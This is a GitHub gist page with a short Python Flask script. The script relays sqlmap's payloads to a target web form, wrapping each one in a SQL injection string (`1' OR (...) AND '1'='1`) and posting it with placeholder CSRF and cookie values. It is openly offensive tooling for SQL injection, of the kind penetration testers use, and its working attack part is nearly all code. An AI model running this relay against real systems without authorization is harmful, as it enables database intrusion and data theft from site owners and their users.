Last active
March 24, 2026 14:17
-
-
Save NicolaiSoeborg/946fb383b5928d4fee39e427ae1602cf to your computer and use it in GitHub Desktop.
Often sqlmap can't do what you want it to do, so this is a small helper to run a flask server locally that passes sqlmaps payload directly to target
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import httpx | |
| from urllib.parse import quote_plus | |
| from flask import Flask, request | |
| URL = 'http://example.com/vuln' | |
| client = httpx.Client(http2=True) | |
| app = Flask(__name__) | |
| @app.route("/vuln") | |
| def vuln(): | |
| inj = request.args['q'] # quote_plus(...) | |
| r = client.post(URL, data={ | |
| 'csrf': "csrf", | |
| 'vuln': f"""1' OR ({inj}) AND '1'='1""", | |
| #'vuln': param | |
| }, headers={'Cookie': "hi"}) | |
| return r.text | |
| if __name__ == '__main__': | |
| app.run(host='0.0.0.0', processes=8, threaded=False) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment